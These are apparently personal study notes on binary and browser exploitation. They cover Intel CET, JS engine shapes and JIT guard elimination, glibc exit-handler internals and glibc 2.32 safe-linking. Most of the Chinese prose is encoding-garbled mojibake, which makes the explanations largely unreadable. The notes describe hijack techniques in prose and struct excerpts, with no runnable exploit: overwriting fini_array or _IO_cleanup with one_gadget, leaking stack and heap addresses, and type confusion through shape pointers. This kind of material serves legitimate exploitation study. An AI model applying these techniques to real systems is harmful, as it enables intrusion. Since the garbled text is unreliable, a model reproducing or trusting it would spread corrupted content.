      • ENDBRANCH (endbr64)
      • indirect branch ็‚บไฝฟ็”จๅƒๆ•ธ็•ถไฝœ่ทณ่ฝ‰็š„ไฝ็ฝฎ๏ผŒๅฆ‚ x64 ็š„ jmp rax
      • ๆœ‰ๅŸท่กŒๅˆฐ endbr ็š„ address (jump target) ๅณ็‚บๅฎ‰ๅ…จ
        • endbr mark valid jump target addresses of indirect calls and jumps in the program
      • ๅ› ๆญคๅฏไปฅ่ฟฝ่นค indirect branch
        • 1 KB page
        • SSP (shadow stack pointer)
    • Enable CET๏ผšgcc -fcf-protection ...๏ผŒไฝ†ไธ็Ÿฅ้“ๆ€Žๆจฃๆ‰็ฎ—ๆœ‰ๆ•ˆ (?
    • Intelยฎ SDE (Software Development Emulator)
  • stack unwind
    • function ๆœƒๆœ‰ __unwind { ็š„ prefix
    • ไปฃ่กจๅœจ้‡ๅˆฐ exception ๆ™‚๏ผŒๆœƒๆฒฟ่‘— stack bt ๅพ€ไธŠๆ‰พ exception handler
    • ๆญค็‚บไธ€็จฎๅผทๅคง็š„ๆฆ‚ๅฟต๏ผšResource Acquisition Is Initialization (RAII)
      • resource ็š„ๆœ‰ๆ•ˆๆœŸ่ˆ‡ๆŒๆœ‰ resource ็š„็‰ฉไปถ็š„็”Ÿๅ‘ฝๆœŸๅšดๆ ผ็นซ็ต๏ผŒๅณ็”ฑ็‰ฉไปถ็š„ๅปบๆง‹ๅ‡ฝๅผๅฎŒๆˆ resource ็š„ๅˆ†้…๏ผˆๅ–ๅพ—๏ผ‰๏ผŒๅŒๆ™‚็”ฑ่งฃๆง‹ๅ‡ฝๅผๅฎŒๆˆ resource ็š„้‡‹ๆ”พ
      • ๅœจ้€™็จฎๆƒ…ๆณไธ‹๏ผŒๅช่ฆ็‰ฉไปถ่ƒฝๆญฃ็ขบๅœฐ่งฃๆง‹๏ผŒๅฐฑไธๆœƒๅ‡บ็พ resource ๆณ„้œฒๅ•้กŒ
  • debug
    • sde -debug -- yourapp

้šจๆ‰‹ note

  • ld ๅ…ง็š„ __libc_stack_end ๅฏไปฅ leak ๅ‡บ stack ็š„ไฝ็ฝฎ
  • scanf("%u") ๆ™‚ๅฏไปฅ่ผธๅ…ฅ +, - ็‰นๆฎŠ็ฌฆ่™Ÿไพ† pass ้€™ๆฌก็š„่ฎ€ๅ–
    • ๆ•ธๅญ—๏ผš่ฎ€่ฟ‘ไพ†
    • ่‹ฑๆ–‡๏ผš็›ดๆŽฅ่ฎ€ๅˆฐๅบ•
    • + -๏ผšpass ้€™ๆฌก
  • gdb ไธญๆ‰พ fs ๅ€ผ (TIB address)
    • search -8 <canary>
  • malloc.c ไธญ็š„ check_inuse_chunk macro ๅชๆœ‰ๅœจ MALLOC_DEBUG == 1 ๆ‰ๆœƒๅšไบ‹๏ผŒ่€ŒๅนณๅธธๅœจๆชขๆŸฅ inuse ็š„้ƒฝๆœƒๆ˜ฏ inuse macro

browser

https://www.youtube.com/watch?v=1eF7fMdVoOA&ab_channel=jwang
https://www.youtube.com/watch?v=emt1yf2Fg9g&ab_channel=BlackHat
https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf
https://medium.com/walkout/ๆทบๆทก-js-engine-ๆฉŸๅˆถ-77391b4dd3db

  • Chrome: V8 engine
  • Firefox: Spidermonkey
  • Safari: JavaScriptCore
  • Edge: hakraCore
  • jsengine object
    • ๅ„ๅคง implement ็š„ๆ–นๅผ้ƒฝไธไธ€ๆจฃ, ไฝ†ๆ˜ฏ้ƒฝๆœƒๅผ„ๅˆฐ shape
    • object ๅœจ new ๆ™‚, ็™ผ็พๆ˜ฏๆ–ฐ็š„, ๆœƒ create ๅ…ฉๅ€‹ๆฑ่ฅฟ
      • object ๆœฌ่บซ็š„ values (slot)
      • shape of object
        • ไน‹ๅพŒ่‹ฅๅ…ถไป–่ฎŠๆ•ธ create object ๆ™‚, ๆœƒๅŽปๆ‰พๆœ‰ๆฒ’ๆœ‰ไธ€ๆจฃ็š„ shape
        • ๅ„ browser ็จฑๅ‘ผ๏ผŒไธ้Ž้ƒฝๆ˜ฏๅŒๅ€‹ๆฑ่ฅฟ
          • firefox: shape
          • v8: map
          • webkit: structure
          • edge: type
    • ๆ”น shape ๅ…ง member ็š„ pointer
    • JIT-compiler (vanilla)
      • Runtime
      • ๅŸท่กŒๅฟซ overhead ๅคš
        • ไธŸ็ตฆ JIT compiler or Interpreter ็š„ๆจ™ๆบ–็‚บ๏ผšไฝฟ็”จๅˆฐ็š„ๆฌกๆ•ธ
          • ๅธธๅธธ่ท‘ๅˆฐ็š„ code ๆœƒไธŸ็ตฆ JIT compiler (ๅ…ˆ็ทจ่ตทไพ†็š„ๆ•ˆ็›Š่ผƒ้ซ˜)
          • JIT compiler ๆœƒ้œ€่ฆๆŠŠ bytecode ่งฃๆžๅ‡บ็š„็ตๆžœๅญ˜่ตทไพ†๏ผŒไธฆไธ”ๅšไธ€ไบ› trace๏ผŒๅ› ๆญค overhead ้ซ˜
        • multi level JIT (้šจ่‘—ๅŸท่กŒๆฌกๆ•ธๅขžๅŠ ่€Œๅขž้ซ˜ level)
          • L1๏ผšno JIT (only interpreter)
          • L2๏ผšๅ–ฎ็ด” compile๏ผŒไธๅ„ชๅŒ–
          • L3๏ผšJIT with optimization
      • parser๏ผš็”ขๅ‡บ bytecode
      • runtime๏ผšruntime ๆ™‚้œ€่ฆ็š„ๆฑ่ฅฟ (object info โ€ฆ)
    • JIT ็š„ไธป่ฆๅ•้กŒ๏ผštype ่ณ‡่จŠๅฐ‘๏ผŒfunction ๅƒๆ•ธไธ็Ÿฅ้“ๆ€Ž้บผ่™•็†๏ผŒcompiler ๅฆ‚ไฝ•ๅš operation?
      • ็›ดๆŽฅๆ‰พ shape structure -> type (ไฝ†ๆœƒๆœ‰่จฑๅคš้กๅค–็š„ check)
      • add(a: smi, b: smi)
      • trace ไน‹ๅ‰ function ็š„ไฝฟ็”จ็‹€ๆณ
        • speculation
        • ๅฆ‚ๆžœ้‡ๅˆฐไธไธ€ๆจฃ็š„ๆƒ…ๆณๅ‘ข?
      • guard
        • ็ขบไฟๅ‚ณ้€ฒ็š„ๅƒๆ•ธๅฆ‚ๆžœ่ˆ‡ไน‹ๅ‰ compile ๅฎŒ็š„ code ็š„ type ไธไธ€ๆจฃ๏ผŒไปไธๆœƒๅ‡บ้Œฏ
        • if (check int fail) {jmp bailout}
          • bailout ๆœƒๅŽป interpreter or ๅœจ้กๅค–ๅŽป compile ๅฐๆ‡‰ type ็š„ bytecode
    • optimization
      • ๅ› ็‚บๅ„ชๅŒ–็š„้—œไฟ‚, function ๆœƒๆœ‰้ž้ ๆœŸ็š„็ตๆžœ (side effect)
      • redundancy elimination
        • eliminate duplicate guards (checks)๏ผŒๅˆช้™คๅคš้ค˜็š„ๆชขๆŸฅ
        • ไฝ†ๆ˜ฏๅฆ‚ๆžœไธญ้–“ๆœ‰ callback๏ผŒๅ‰‡ "ๅˆช้™คๅคš้ค˜็š„ๆชขๆŸฅ" ๅฏ่ƒฝๆœƒ่ฎ“ๅ‡บๅ•้กŒ็š„ๅœฐๆ–นๆฒ’่ขซๆชขๆŸฅๅˆฐ
        • CVE-2018-4233
      • bound-check elimination
  • ๆ”ปๆ“Šๆ‰‹ๆณ•
    • ๆŠŠ shape ptr ๆ”นๆމ๏ผŒ่ฃฝ้€  type confusion

exit hook

exit() vs atexit()๏ผš

  • int on_exit(void (*function)(int , void *), void *arg);
    • ็‚บ SunOS ็š„ function๏ผŒไธฆ้ž standard๏ผŒๆ‰€ไปฅไธไธ€ๅฎš่ขซๅ…ถไป–ๅนณๅฐๆ”ฏๆด
    • ๅฏไปฅๅ‚ณ้ž argument
  • int atexit(void (*function)(void));
    • ็‚บๆจ™ๆบ– exit hook
      • register a function to be called at normal process termination

__libc_start_main -> main function -> __run_exit_handler -> dl-fini

ๅ…ถไธญๅœจ __libc_start_main ไธญ๏ผŒๆœ‰ไฝฟ็”จ atexit() ่จปๅ†Šไธ€ไบ› exit function

่€Œ __cxa_atexit() ๅˆ่ทŸ atexit() ๅทฎๅœจๅ“ช่ฃกๅ‘ข๏ผŸ

  • __cxa_atexit() is not limited to 32 functions.
  • __cxa_atexit() will call the destructor of the static of a dynamic library when this dynamic library is unloaded before the program exits.

control flow

  • exit() ๆœƒๅ‘ผๅซ __run_exit_handler()
  • __run_exit_handler()
    • cur ็‚บ (struct exit_function_list *) 0x7f1ff52229a0 <initial>
    • exit_function_list
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹struct exit_function_list
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹{
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  struct exit_function_list *next;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  size_t idx;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  struct exit_function fns[32]; // functions
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹};
      
    • exit_function
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹struct exit_function
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  {
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    /* `flavour' should be of type of the `enum' above but since we need
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹       this element in an atomic operation we have to use `long int'.  */
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    long int flavor;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    union
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹      {
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    void (*at) (void);
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    struct
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹      {
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        void (*fn) (int status, void *arg);
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        void *arg;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹      } on;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹    struct
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹      {
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        void (*fn) (void *arg, int status);
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        void *arg;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹        void *dso_handle;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹      } cxa;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹      } func;
      โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹โ€‹  };
      
    • flavor ๅˆ† 5 ็จฎ
      • ef_free: 0
      • ef_us: 1
      • ef_on: 2
      • ef_at: 3
      • ef_cxa: 4
    • PTR_DEMANGLE: ror 0x11 ; xor qword ptr fs:[0x30]
      • ไปฃ่กจ MANGLE ๆ™‚ๆœƒๅ…ˆ rol 0x11๏ผŒๅทฆไฝ็งป 0x11๏ผŒๅœจ xor fs:[0x30] ไธ€ๅ€‹ magic number
    • ex_cxa ๅฐๅˆฐ็š„ๆ‡‰่ฉฒๆœƒๆ˜ฏ _dl_fini๏ผŒไธป่ฆๅš็š„ไบ‹ๆƒ…ๆ˜ฏ "call the destructors for all still loaded objects"
    • ๅฟ…้ ˆ่ฆๅพž constructor ็š„้ ญ้–‹ๅง‹ destruct
    • ๆœ€ๅพŒๆœƒๆ‰พ _DYNAMIC๏ผŒl_ld ๆœƒๆŒ‡ๅ‘ _DYNAMIC section๏ผŒไธฆไธ”ๆœƒๅ‘ผๅซ l_ld->l_info[DT_FINI_ARRAY]๏ผŒๆœƒๅพž _DYNAMIC ๆ‰พๅˆฐ fini_array ็š„ไฝ็ฝฎ
      • #define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
      • (Elf64_Dyn *) 0x403e70
        • ๅญ˜ๆ”พ 0x403E18๏ผŒไนŸๅฐฑๆ˜ฏ fini ็š„้–‹้ ญ
        • ๆญฃๅธธไพ†่ชชๅœจ ASLR ็š„ๆƒ…ๆณไธ‹๏ผŒl->l_addr ๆœƒๆ”พ ELF base๏ผŒfini ๆœƒๆ”พ offset๏ผŒไน‹ๅพŒๆœƒ call (ELF_base + fini)[0] ไพ†ๅ‘ผๅซ fini function
          • ๆ‰€ไปฅ่ฆๆ‰พ l_address offset ๅœจ stack ไธญ็š„ไฝ็ฝฎไนŸๅฏไปฅ็”จๆญคไพ†ๅˆคๆ–ท
        • ่€Œๅœจ no ASLR ็š„ๆƒ…ๆณไธ‹ fini ๆœƒ็›ดๆŽฅๆ˜ฏไฝ็ฝฎ๏ผŒl->l_addr ๅฐฑๆœƒๆ˜ฏ 0
        • ๆˆ‘ๅ€‘ๅฏไปฅ่—‰็”ฑๆ”น่ฎŠ offset ็š„ๅœฐๆ–นไพ†ๆŽงๅˆถ่ฆๅ‘ผๅซๅˆฐ็š„ function
    • ๆฒ’ๆœ‰่ฎŠๅ‹•็š„ๆƒ…ๆณไธ‹๏ผŒๆœƒๅŽป call __do_global_dtors_aux
      • __do_global_ctors_aux and __do_global_dtors_aux for calling the constructors and destructors of these static objects
      • ้€™ๅ…ฉๅ€‹ function ็‚บ gcc ๅŠ ไธŠ็š„๏ผŒ้ƒฝๆ˜ฏ็”จไพ†ๅ‹•ๆ…‹้€ฃ็ต๏ผŒๅœจ main ไน‹ๅ‰่ผ‰ๅ…ฅ dynamic library ็š„่ฎŠๆ•ธไน‹้กž็š„
      • __do_global_dtors_aux๏ผšๆœƒๅ‘ผๅซๅˆฐ __cxa_finalize() ไพ†ๅŸท่กŒ็”จ atexit() ่จปๅ†Š็š„ function (glibc ไธŠ้ขๆ˜ฏ้€™ๆจฃๅฏซๆฒ’้Œฏ๏ผŒไฝ†ๆ˜ฏๅฏฆ้š›ไธŠๅฅฝๅƒๆ˜ฏ _run_exit_handler)
    • ๆญคๆ‹›ๅฏไปฅ้…ๅˆ one_gadget๏ผŒ่€Œ one_gadget ่ƒฝๅค ็ฌฆๅˆ็š„ๆขไปถๅฏไปฅ็›ดๆŽฅๅŽป execvpe ๆ‰พ
    • RUN_HOOK (__libc_atexit, ()); ๆœƒๅ‘ผๅซ __elf_set___libc_atexit_element__IO_cleanup__ ็š„ _IO_cleanup
      • __elf_set___libc_atexit_element__IO_cleanup__ ๅฏๅฏซ๏ผŒๆ‰€ไปฅไนŸ่ƒฝๅฐ‡ one_gadget ๅฏซๅœจ้€™

C++

how vector work

template <class T, class A = std::allocator<T> >
class vector {
public:
    // public member functions
private:
    T*                    data_;
    typename A::size_type capacity_;
    typename A::size_type size_;
    A                     allocator_;
};

vector => [abi:cxx11] ็ฌฌไธ€ๅ€‹ element => vector member (data ptr, data_size)๏ผŒไธ” vector ไธ€้–‹ๅง‹็š„ size ็‚บ 0x80 (4 elements)

  • ๅฆ‚ๆžœ vector data size ๅฐๆ–ผ 0x10๏ผŒๆœƒ็›ดๆŽฅๅœจ vector ไธ‹้ขๆ”พ่ณ‡ๆ–™
  • ่‡ชๅทฑ่ง€ๅฏŸ c++11 ็œ‹่ตทไพ†ๅƒๆ˜ฏ
struct vector {
    struct vector_element *data;
    void *what1;
    void *what2;
}

struct vector_element {
    char *data_ptr;
    int64_t data_size;
    union {
        char data[0x10];
        {
            int64_t data_size;
            void *what3 = NULL;
        }
    }
}
  • vector ๅœจ capacity ๅคงๆ–ผ 75% ๆ™‚ๅฐฑๆœƒ double its size

glibc 2.32 ๆฉŸๅˆถ

ๅƒ่€ƒๆ–‡็ซ ๏ผšhttps://medium.com/@ktecv2000/่Š่Šglibc-2-32-mallocๆ–ฐๅขž็š„ไฟ่ญทๆฉŸๅˆถ-safe-linking-9fb763466773

้‡ๅฐ tcache ่ˆ‡ fastbin ็š„ next pointer ๅš XOR ็š„ไฟ่ญท

  • heap address xor
    • ๆœƒๆ นๆ“š็•ถๅ‰ address ่ˆ‡ๅ€ผๅš xor๏ผŒ็ฐกๅ–ฎไพ†่ชช็”จๆณ•ๅฐฑๆ˜ฏ value = xor(value, &value >> 12)
    โ€‹โ€‹โ€‹โ€‹#define PROTECT_PTR(pos, ptr) \
    โ€‹โ€‹โ€‹โ€‹  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
    โ€‹โ€‹โ€‹โ€‹#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
    
  • align
    • xor ๅฎŒ LSB ๅฏไปฅๆ˜ฏ 0x0 - 0xf๏ผŒไฝ†ๆ˜ฏ xor ๅ›žๅŽปๆ‡‰่ฉฒ่ฆๆ˜ฏ 0 ๆ‰ๅฐ
    โ€‹โ€‹โ€‹โ€‹#define aligned_OK(m)  (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
    โ€‹โ€‹โ€‹โ€‹
    โ€‹โ€‹โ€‹โ€‹#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
    โ€‹โ€‹โ€‹โ€‹
    โ€‹โ€‹โ€‹โ€‹#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
    โ€‹		  ? __alignof__ (long double) : 2 * SIZE_SZ)
    

ๆ‰€ไปฅๅœจ heap ไธŠๅšๆ”ปๆ“Šๆ™‚๏ผŒๆ‡‰่ฉฒ่ฆๅ…ˆ leak heap address๏ผŒๆ‰่ƒฝ้€š้Ž tcache ่ˆ‡ fastbin ไธญ address ็š„ๆชขๆŸฅ